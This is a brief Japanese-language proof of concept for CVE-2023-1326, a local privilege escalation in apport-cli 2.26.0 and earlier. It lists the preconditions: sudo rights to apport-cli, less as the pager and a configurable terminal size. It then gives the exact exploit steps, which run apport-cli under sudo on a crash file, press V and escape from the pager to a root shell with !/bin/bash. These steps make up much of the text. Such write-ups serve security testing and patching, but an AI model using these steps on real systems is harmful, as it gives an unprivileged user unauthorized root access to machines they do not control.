apport-cli 2.26.0 における CVE-2023–1326 の概念実証（Proof of Concept）
この脆弱性は、apport-cli 2.26.0 における権限昇格であり、CVE-2023–26604 と類似しています。この脆弱性は、sudoers で設定されている場合にのみ機能します。
権限昇格攻撃が apport-cli 2.26.0 およびそれ以前のバージョンで発見されました。これは CVE-2023-26604 と類似しています。システムが特別に構成され、非特権ユーザーが sudo apport-cli を実行できるように許可され、ページャとして less が設定され、端末サイズが設定可能な場合、ローカルの攻撃者が権限を昇格できます。
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
